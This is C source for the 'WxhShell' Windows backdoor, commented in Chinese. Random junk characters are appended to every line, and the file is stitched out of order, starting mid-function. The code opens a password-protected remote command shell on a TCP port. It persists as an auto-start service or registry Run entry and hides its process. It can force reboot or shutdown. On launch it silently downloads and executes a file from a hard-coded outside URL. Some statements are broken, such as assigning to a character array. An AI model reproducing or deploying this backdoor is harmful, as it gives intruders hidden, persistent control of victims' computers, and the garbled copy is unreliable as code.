    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G4EuW *~  
    if(Boot(SHUTDOWN)) dlDO?T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [n$6 T  
    else { &3 x [0DV  
    closesocket(wsh); O~5*X f  
    ExitThread(0); ,UxAHCR~9  
    } *3(mNpi{_  
    break; T?*f}J  
    } 5~RR _G  
  // 获取shell M ~6 $kT  
  case 's': { lG`%4}1  
    CmdShell(wsh); .6pVt_f0/  
    closesocket(wsh); V+$fh2t  
    ExitThread(0); ._6Q "JAB  
    break; nCLEAe$W\=  
  } % 3<7HY]~  
  // 退出 15kkf~Z<t  
  case 'x': { D0X!j,Kc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +o K*5 Y  
    CloseIt(wsh); #?DoP]1Y  
    break; ( $,qxPOn  
    } N@I=X-7nh|  
  // 离开 TV?MB(mN  
  case 'q': { ey`E E/WV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;y-sd?pAk  
    closesocket(wsh); |0VZ1{=*  
    WSACleanup(); O0sLcuT$  
    exit(1); vSwRj<|CF  
    break; ;IR.6k$;  
        } ,b t j6hg  
  } rb]?"lizi  
  } |}o3EX  
/PEL[Os  
  // 提示信息 3yLJWHO%W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U<6+2y P  
} 9[:TWvd  
  } #1p\\Av  
3qy4nPg  
  return; 2k^'}7G%  
} ]3L/8]:  
M AL;XcRR  
// shell模块句柄 `ix&j8E22w  
int CmdShell(SOCKET sock) n]jw!;  
{ z2 mjm  
STARTUPINFO si; sY&Z/Y  
ZeroMemory(&si,sizeof(si)); G BM8:IG \  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IJDE{)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >LW}N!IBy  
PROCESS_INFORMATION ProcessInfo; ~P'i /*:  
char cmdline[]="cmd"; qTe@?j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M[QQi2:&  
  return 0; {=ATRwUL  
} (P-$tHt  
y N,grU(  
// 自身启动模式 T_fM\jdI  
int StartFromService(void) +.QJZo_  
{ _[/#t|I}  
typedef struct !gJw?(8"  
{ <4582x,G  
  DWORD ExitStatus; m%s:4Z%=  
  DWORD PebBaseAddress; ~re~Ys  
  DWORD AffinityMask; f'TEua_`  
  DWORD BasePriority; v4F+^0?  
  ULONG UniqueProcessId; P7$/yBI U  
  ULONG InheritedFromUniqueProcessId; dd *p_4;  
}   PROCESS_BASIC_INFORMATION; $4BvDZDk`B  
x7/";L>  
PROCNTQSIP NtQueryInformationProcess; ;?%_jB$P  
4B)%I`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [OR"9W&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6!wk5#  
(QQkXlJ  
  HANDLE             hProcess; 6i%X f i  
  PROCESS_BASIC_INFORMATION pbi; i ;^Ya  
Pk;YM}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); od^ylg>K  
  if(NULL == hInst ) return 0; `i<Z< <c>  
zpZfsn!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \}_,g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); - B?c F9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aP#/%  
Q"H/RMo-  
  if (!NtQueryInformationProcess) return 0; L2OR<3*|Av  
J M`[|"R%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Rx?ze(  
  if(!hProcess) return 0; I moxg+u  
=Q*3\ )7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; } |  
< pZwM  
  CloseHandle(hProcess);  s;-AZr)  
lX"6m}~D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P~%+KxwZQ  
if(hProcess==NULL) return 0; &0xM 2J  
"uFwsjz&B  
HMODULE hMod; uaZHM@D  
char procName[255]; 5]n\E?V'L  
unsigned long cbNeeded; [v`kqL~  
:aH5=@[!y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gFsqCx<q  
Eihn%Esa  
  CloseHandle(hProcess); K D?b|y @  
D"%>  
if(strstr(procName,"services")) return 1; // 以服务启动 BvUiH<-D  
h`iOs>  
  return 0; // 注册表启动 Hz)i.AA 4  
} u08QE,  
h J0U-m  
// 主模块 $tej~xZK  
int StartWxhshell(LPSTR lpCmdLine) %r8;i  
{ g/VV2^,  
  SOCKET wsl; <y?=;54a  
BOOL val=TRUE; `evF?t11X  
  int port=0; &xUD (  
  struct sockaddr_in door; qHvUBx0  
~S\> F\v6'  
  if(wscfg.ws_autoins) Install(); uqLP$At  
dCe LW  
port=atoi(lpCmdLine); Nd&UWk^  
XK})?LTD  
if(port<=0) port=wscfg.ws_port; Keem \/  
ZJ.an%4  
  WSADATA data; SMzq,?-`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m xqY  
<'N:K@Cs  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   </u=<^ire  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *QV"o{V  
  door.sin_family = AF_INET; e~d=e3mBp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h9/fD5  
  door.sin_port = htons(port); %"eR0Lj+zq  
%D5F7wB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e[s}tjx  
closesocket(wsl); P-3f51Q  
return 1; =1@LMIi5x  
} EC 1|$Co  
6|~^P!&  
  if(listen(wsl,2) == INVALID_SOCKET) { 9\c]I0)3p  
closesocket(wsl); ?^W1WEBm  
return 1; FSn3p}FVa  
} 6)7cw8^  
  Wxhshell(wsl); )BvMFwQG  
  WSACleanup(); Hf\sF(, (  
;j7G$s9  
return 0; K/K-u  
I]E 3&gnC  
} Q$v00z]f*  
-J8Hsqf@  
// 以NT服务方式启动 ixSr*+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >0W P:-\*  
{ %qiVbm0  
DWORD   status = 0; +vaA P=  
  DWORD   specificError = 0xfffffff; Ikw@B)0}  
t%%()!|)j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q;g7<w17  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; IWq#W(yM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &N._}ts  
  serviceStatus.dwWin32ExitCode     = 0; JWIY0iP  
  serviceStatus.dwServiceSpecificExitCode = 0; _OyQ:>M6P  
  serviceStatus.dwCheckPoint       = 0; 0Q`v#$?":  
  serviceStatus.dwWaitHint       = 0; (:HT|gKoE  
+{RTz)e?*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 23WrJM!2N  
  if (hServiceStatusHandle==0) return; .7  0  
8B:y46  
status = GetLastError(); o~)o/(>ox  
  if (status!=NO_ERROR) "ayV8{m^3  
{ %9a3$OGZX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; BdF/(Pg  
    serviceStatus.dwCheckPoint       = 0; yCvtglAJ4  
    serviceStatus.dwWaitHint       = 0; S#?2E8  
    serviceStatus.dwWin32ExitCode     = status; XUA@f*  
    serviceStatus.dwServiceSpecificExitCode = specificError; -1RMyVx  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); r9OgezER  
    return; JE7m5k Ta  
  } f?51sr  
dGn 0-l'q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; eqsmv [  
  serviceStatus.dwCheckPoint       = 0; j~G(7t  
  serviceStatus.dwWaitHint       = 0; rpK&OR/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )N8bO I  
} h]s~w  
eNK[P=-  
// 处理NT服务事件,比如:启动、停止 OtmDZ.t;`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 75zU,0"j  
{ V<J1.8H  
switch(fdwControl) [I3Nu8  
{ 5dI=;L >D  
case SERVICE_CONTROL_STOP: J\Pb/9M/  
  serviceStatus.dwWin32ExitCode = 0; xdgAu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <Q\KS  
  serviceStatus.dwCheckPoint   = 0; OyF=G^w  
  serviceStatus.dwWaitHint     = 0; R`Z"ey@C  
  { }!oEjcX'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .i I{  
  } T+ZA"i+  
  return; $3G^}A"  
case SERVICE_CONTROL_PAUSE: O573AA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zMFTkDY  
  break; ld@+p  
case SERVICE_CONTROL_CONTINUE: eIY`RMo (  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |HD>m'e  
  break; i7XY3yhC  
case SERVICE_CONTROL_INTERROGATE: YWl#!"-  
  break; lAP k/G  
}; jts0ZFHc-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iX]OF.:   
} J<QZ)<T,&  
TA-2{=8  
// 标准应用程序主函数 :LY.C<8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N68$b#9Ry  
{ jJ$B^Y"4  
!SW0iq[7j  
// 获取操作系统版本 <@KIDZYC  
OsIsNt=GetOsVer(); <&l$xn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); MmN{f~Kq9  
#0aBQ+_8H  
  // 从命令行安装 eTvWkpK+  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;+E]F8G9r  
'7sf)0\:<p  
  // 下载执行文件 PJC(:R(j  
if(wscfg.ws_downexe) { < -`.u`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e"%TU  
  WinExec(wscfg.ws_filenam,SW_HIDE); gHBvQ1g  
} $h{m")]  
:^3) [.m  
if(!OsIsNt) { ;rT'~?q  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y:ly x-lj  
HideProc(); e=OHO,74z"  
StartWxhshell(lpCmdLine); $lJcC |*  
} /=m AVA  
else (yq e 4  
  if(StartFromService()) DJ,LQj  
  // 以服务方式启动 !HDb{f  
  StartServiceCtrlDispatcher(DispatchTable); YQ G<Q  
else i"0Bc{cQ  
  // 普通方式启动 5p[}<I{  
  StartWxhshell(lpCmdLine); QPDh!A3T  
"kyCY9) %  
return 0; wS*r<zj  
} #XDgvX >  
q>2bkcGY#  
Z)`)9]*  
Kq3c Kp4  
=========================================== xR0T' @q  
I/Vw2  
iQgg[ )  
8@m$(I +  
`s CwgY+  
UPuoIfuqI  
" "#r)NYq`"|  
}8ubGMr,Y  
#include <stdio.h> 7EE{*}?0E  
#include <string.h> fZo#:"{/K  
#include <windows.h> T?pS2I~  
#include <winsock2.h> )y,^M3$?C  
#include <winsvc.h> 5)!g.8-!  
#include <urlmon.h> :snO*Zg  
\0b}Z#'0  
#pragma comment (lib, "Ws2_32.lib") f ,cd=vGj  
#pragma comment (lib, "urlmon.lib") GEWjQ;g  
v745F Iy<  
#define MAX_USER   100 // 最大客户端连接数 {|?^@  
#define BUF_SOCK   200 // sock buffer '[{<a Eo  
#define KEY_BUFF   255 // 输入 buffer 5g7@Dj,.  
e?]5q ez  
#define REBOOT     0   // 重启 W "'6 M=*  
#define SHUTDOWN   1   // 关机 .HS6DOQ  
oFWb.t9<  
#define DEF_PORT   5000 // 监听端口 t5-O-AI[b{  
vV}w>Ap[  
#define REG_LEN     16   // 注册表键长度 k8w\d+!v  
#define SVC_LEN     80   // NT服务名长度 8z#Qp(he  
pmNy=ZXx  
// 从dll定义API 0kkDlWkzo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =8\.fp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~5N}P>4 *  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P1-eDHYw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bC<W7qf]}  
Y$=jAN  
// wxhshell配置信息 ]3_b3@k  
struct WSCFG { ,;`f* #  
  int ws_port;         // 监听端口 Tlw'05\{J  
  char ws_passstr[REG_LEN]; // 口令 Jl/wP   
  int ws_autoins;       // 安装标记, 1=yes 0=no WoEK #,I;  
  char ws_regname[REG_LEN]; // 注册表键名 nq M7Is  
  char ws_svcname[REG_LEN]; // 服务名 yq%5h[M  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u.GnXuax  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1r;zA<<%R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *&NP?-E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no w 9dkJo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" F` U~(>u'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `6U!\D  
4Z)s8sDKW  
};  /|0-O''  
BX >L7n  
// default Wxhshell configuration <CyU9`ye  
struct WSCFG wscfg={DEF_PORT, ]q]xU,  
    "xuhuanlingzhe", n=.P46|  
    1, G!q[NRu  
    "Wxhshell", G *CPj^O  
    "Wxhshell", W7S~~  
            "WxhShell Service", FnO@\{M"A  
    "Wrsky Windows CmdShell Service", |[*Bn3E:  
    "Please Input Your Password: ", f>N DtG.6  
  1, %2\Hj0JQQ  
  "http://www.wrsky.com/wxhshell.exe", `z&#|0O  
  "Wxhshell.exe" #a8kA"X  
    }; .IeO+RDQ  
cM#rus?)+  
// 消息定义模块 2e`}O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jxog8 E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |toP8 6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jf9+H!?^N  
char *msg_ws_ext="\n\rExit."; y{ ur'**l  
char *msg_ws_end="\n\rQuit."; en<~_|J  
char *msg_ws_boot="\n\rReboot..."; N,(!   
char *msg_ws_poff="\n\rShutdown..."; Xh9QfT,  
char *msg_ws_down="\n\rSave to "; zPby+BP  
n:5M E*  
char *msg_ws_err="\n\rErr!"; kBo:)Vej4  
char *msg_ws_ok="\n\rOK!"; [X(4( 1i  
aFnel8  
char ExeFile[MAX_PATH]; \9?[|m z  
int nUser = 0; 5n@YNaoIb  
HANDLE handles[MAX_USER]; 8dczC  
int OsIsNt; ]\(8d[ 4  
s4|\cY`b-  
SERVICE_STATUS       serviceStatus; 7r:h_r-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |mEWN/@C  
,Bk5( e  
// 函数声明 ]~TsmR[  
int Install(void); }Hg G<.H>  
int Uninstall(void); @>2pY_  
int DownloadFile(char *sURL, SOCKET wsh); +9_Y0<C  
int Boot(int flag); &hOz(825r  
void HideProc(void); EQ1**[$  
int GetOsVer(void); ]  ,|,/~  
int Wxhshell(SOCKET wsl); QaWS%0go  
void TalkWithClient(void *cs); =X$ieXq|  
int CmdShell(SOCKET sock); w~66G  
int StartFromService(void); $dL..QH^K  
int StartWxhshell(LPSTR lpCmdLine); y* +y&  
yXJhOCa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  W2vL<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); DR#" 3  
5 UEZpxnv  
// 数据结构和表定义 /v{+V/'+  
SERVICE_TABLE_ENTRY DispatchTable[] = *8}b&4O~  
{ t-\+t<;  
{wscfg.ws_svcname, NTServiceMain}, Q0U~s\<  
{NULL, NULL} 4V+bE$Wu  
}; Itl8#LpLM  
l1+l@r\  
// 自我安装 f"MID6  
int Install(void) + :MSY p  
{ @Cj!MZ=T  
  char svExeFile[MAX_PATH]; $RD~,<oEm  
  HKEY key; ?cV,lak  
  strcpy(svExeFile,ExeFile); zm_8a!.  
feej'l }F  
// 如果是win9x系统,修改注册表设为自启动 2dn^K3  
if(!OsIsNt) { 7({)ou x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <kn 2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -C=0Pg]ga  
  RegCloseKey(key); LF dvz0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L:i&OCU2k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >*-%:ub  
  RegCloseKey(key); GP} ;~  
  return 0; c./\sN@  
    } VvhfD2*T  
  } 1Bh"'9-!JT  
} ho\1[xS  
else { fM= o?w6v  
M xE]EJZ  
// 如果是NT以上系统,安装为系统服务 `|t,Uc|7!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xl}rdnf}  
if (schSCManager!=0) S=@+qcI  
{  }k^uup*{  
  SC_HANDLE schService = CreateService p Cz6[*kC  
  ( ]J7qsMw  
  schSCManager, =KE7NXu]-  
  wscfg.ws_svcname, SuE~Wb 5&  
  wscfg.ws_svcdisp, Hm-#Mpw  
  SERVICE_ALL_ACCESS, YI0 wr1N  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h]4xS?6O  
  SERVICE_AUTO_START, X~{6$J|]#i  
  SERVICE_ERROR_NORMAL, bvox7V>  
  svExeFile, 74%vNKzc~  
  NULL, ~1G^IZ6  
  NULL, ptCF))Zm'  
  NULL, egoR])2>  
  NULL, "{0G,tdA  
  NULL i ;FKnK  
  ); THrLX;I  
  if (schService!=0) ,KY;NbL-Jp  
  { k8gH#ENNK  
  CloseServiceHandle(schService); E|O&bUMh  
  CloseServiceHandle(schSCManager); At7!Pas#@g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); omG2p  
  strcat(svExeFile,wscfg.ws_svcname); &Vlno*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { eg[EFI.h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t@%w:*&  
  RegCloseKey(key); ^~4]"J};M  
  return 0; N?\X 2J1  
    } 5P,&VB8L  
  } V?mP7  
  CloseServiceHandle(schSCManager); bWFa{W5!  
} PRh C1#  
} aV;|2}q "  
w-|Rb~XT h  
return 1; @|gG3  
} UHl3/m7g  
]ch=@IV  
// 自我卸载 C,|&  
int Uninstall(void) XC<fNK  
{ pc`P;Eui  
  HKEY key; j<AOC?  
P{Nvt/%  
if(!OsIsNt) { >y%H2][  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j=sfE qN).  
  RegDeleteValue(key,wscfg.ws_regname); T KZtoQP%  
  RegCloseKey(key); TOG:`FID  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7[ ovEE54  
  RegDeleteValue(key,wscfg.ws_regname); N[{rsUBd  
  RegCloseKey(key);  Z-@nXt  
  return 0; &L6Ivpj-  
  } N/ a4Gl(  
} |Ajd$+3  
} J;4x$BI  
else { 6-U_TV  
 9q;O`&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !BQt+4G7  
if (schSCManager!=0) $QJ3~mG2  
{ 2?,Jn&i5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m6Dm1'+  
  if (schService!=0) TmgC {_  
  { Mc,79Ix"  
  if(DeleteService(schService)!=0) { ,np=m17  
  CloseServiceHandle(schService); 2Kxb(q"  
  CloseServiceHandle(schSCManager); jWdviS9&g  
  return 0; ]\yIHdcDi  
  } Ib(C`4%  
  CloseServiceHandle(schService); ;c 7I "?@z  
  } prJd'  
  CloseServiceHandle(schSCManager); U,rI/'  
} J( 1Tl  
} d) -(C1f  
jcCAXk055  
return 1; b4L7M1l  
} 196aYLE  
u]ms~rO  
// 从指定url下载文件 GQ(Y#HSq  
int DownloadFile(char *sURL, SOCKET wsh) jCqz^5=$  
{ teok*'b:  
  HRESULT hr; J/]%zwDwS  
char seps[]= "/"; %" iX3  
char *token; }dc0ZRKgx  
char *file; A mZXUb  
char myURL[MAX_PATH]; !W}sOK7#  
char myFILE[MAX_PATH]; \h ~_<)  
#*(}%!rD*  
strcpy(myURL,sURL); ;4 O[/;i  
  token=strtok(myURL,seps); OVLVsNg  
  while(token!=NULL) HLyA zB~r  
  { 8xy8/UBIk0  
    file=token; fJFNS y  
  token=strtok(NULL,seps); TXImmkC  
  } MlV(XG>'  
.n\JY;"  
GetCurrentDirectory(MAX_PATH,myFILE); xe@e#9N$  
strcat(myFILE, "\\"); @eYpARF  
strcat(myFILE, file); lZk  z\  
  send(wsh,myFILE,strlen(myFILE),0); CE"/&I  
send(wsh,"...",3,0); QE]'Dc%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ts!'>_<Je  
  if(hr==S_OK) !2t7s96  
return 0; CCTU-Xz/  
else ')jItje|  
return 1; '| H+5#  
h&4s%:_4  
} fe\lSGmf  
:9&c%~7B9  
// 系统电源模块 *fN+wiPD  
int Boot(int flag) ,dRaV</2  
{ 93*csO?Db  
  HANDLE hToken; p%I)&- 8  
  TOKEN_PRIVILEGES tkp; N[Z`tk?-  
lY,^  
  if(OsIsNt) { eo+<@83  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f-~Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~[CFs'`(2  
    tkp.PrivilegeCount = 1; Zc7;&cz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7|}4UXr7y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P@N+jS`Vf  
if(flag==REBOOT) {  /  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <+QdBp'd;  
  return 0; GDLw_usV  
} xvl$,\iqE  
else { P<pv@ l9)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~b_DFj  
  return 0; UytMnJ88  
} Lu#qo^  
  } ,z&S;f.f  
  else { <rzP  
if(flag==REBOOT) { Lc!2'Do;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }nrjA0WN  
  return 0; +&.zwniSS  
} 15ailA&(Qm  
else { 0F[ f%2j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C m[}DB  
  return 0; DI\=udN  
} 3)G~ud  
} wfo,r 7  
3d}v?q78  
return 1; NQ{(G8x9  
} F`g(vD >  
H07\z1?.K  
// win9x进程隐藏模块 #eW T-m  
void HideProc(void) yGR{-YwU!  
{ *OLqr/ yb  
1Q@]b_"Xh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ImN'o4vo  
  if ( hKernel != NULL ) /8GdCac  
  { /1OCK=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c~<;}ve^z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J&8KIOz14Z  
    FreeLibrary(hKernel); lu.]R>w  
  } +a5F:3$  
a=2.Y?  
return; V k{;g  
} 9KVJk</:n  
]BO:*&O  
// 获取操作系统版本 RU)(|;  
int GetOsVer(void) 33oW3vS  
{ c}(H*VY2n  
  OSVERSIONINFO winfo; 01r%K@ xX\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~i|6F~%3  
  GetVersionEx(&winfo); W3le)&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I}PI  
  return 1; C]!2   
  else 9q'&tU'a=c  
  return 0; v#,queGi  
} i$NlS}W  
(d_z\U7l  
// 客户端句柄模块 ](Fey0@  
int Wxhshell(SOCKET wsl) /DAR'9@h  
{ ,@ '^3u  
  SOCKET wsh;  qb? <u  
  struct sockaddr_in client; ! I:N<  
  DWORD myID; kX8C'D4 gX  
Yw|v5/>  
  while(nUser<MAX_USER) hl1IG !  
{ E@GYl85fI  
  int nSize=sizeof(client); /2p*uv }IP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &N^j }^ Z  
  if(wsh==INVALID_SOCKET) return 1; = wz}yfdrC  
g~DuK|+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |N/d }  
if(handles[nUser]==0) g*YDgY  
  closesocket(wsh); J5{;+ysUMl  
else a0|hLqI  
  nUser++; V_h&9]RL  
  } DhE-g<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I!hh_  
l5D)UO  
  return 0; @f-:C+(Nsg  
} w9'>&W8T  
"<iH8MzZ  
// 关闭 socket *qzdt^[ xo  
void CloseIt(SOCKET wsh) D7hTn@I  
{ .~i|kc]Ue  
closesocket(wsh); Go%Z^pF3CO  
nUser--; L;3%8F\-.  
ExitThread(0); AYn65Ly  
} q%sZV>  
lEk@I"  
// 客户端请求句柄 -PpcFLZ|  
void TalkWithClient(void *cs) COw"6czX/  
{ T8+[R2_  
i.E2a)  
  SOCKET wsh=(SOCKET)cs; BA h'H&;V  
  char pwd[SVC_LEN]; ei5YxV6I  
  char cmd[KEY_BUFF]; }5+^  
char chr[1]; P<vl+&*  
int i,j; >+{WiZ`  
Ksx-Y"  
  while (nUser < MAX_USER) { S>oEk3zlw  
xSudDhRP  
if(wscfg.ws_passstr) { Xl4}S"a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cKVFykwM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); owIpn=8|Q  
  //ZeroMemory(pwd,KEY_BUFF); 0x<ASfka  
      i=0; 0q5J)l:  
  while(i<SVC_LEN) { T<n`i~~  
S70#_{  
  // 设置超时 .`IhxE~mN  
  fd_set FdRead; E+\?ptw  
  struct timeval TimeOut; :SaZhY  
  FD_ZERO(&FdRead); Wep^He\:  
  FD_SET(wsh,&FdRead); {4S UG o>  
  TimeOut.tv_sec=8; ek&~A0k_o  
  TimeOut.tv_usec=0; BdD]HXB|_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Zv@qdY<:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P&Ke slk  
aBC5?V*e%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v]cw})l  
  pwd=chr[0]; 7n5gXiI"  
  if(chr[0]==0xd || chr[0]==0xa) { wa@Rlzij>  
  pwd=0; Z1,rN#p9  
  break; EGl<oxL*R2  
  } KtaoOe  
  i++; }R;}d(C`  
    } @V 'HX  
+QN4hJK  
  // 如果是非法用户,关闭 socket |&4A"2QN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Sn[xI9}O  
} $q\"d?n  
~lV#- m*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E+Bc>xl@ m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~R;/u")@e  
)1 -<v);  
while(1) { XHA|v^  
_WNbuk0  
  ZeroMemory(cmd,KEY_BUFF); S]@;`_?m{  
@K <Onh`  
      // 自动支持客户端 telnet标准   /Q st :q  
  j=0; sV#%U%un  
  while(j<KEY_BUFF) { ~Z5AImR|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Bv7FZK3  
  cmd[j]=chr[0]; o%'1=d3R1Q  
  if(chr[0]==0xa || chr[0]==0xd) { YXp\C"~g  
  cmd[j]=0; V< F &\  
  break; N)mZ!K44  
  } b"$?(Y  
  j++; }aOqoi7w  
    } 8Ay7I  
UnDCC_ud  
  // 下载文件 )<HvIr(xr  
  if(strstr(cmd,"http://")) { :WRD<D_4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); uzxwJs'fz  
  if(DownloadFile(cmd,wsh)) = 9Yf o,F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fuj9x;8X0  
  else VKPEoy8H  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /}1|'?P  
  } d3znb@7  
  else { o1#3A  
#)}BY"C%  
    switch(cmd[0]) { |"K%Tvxe  
  V(Pw|u" e  
  // 帮助 6Mk#) ebM  
  case '?': { ; s(bd#Q  
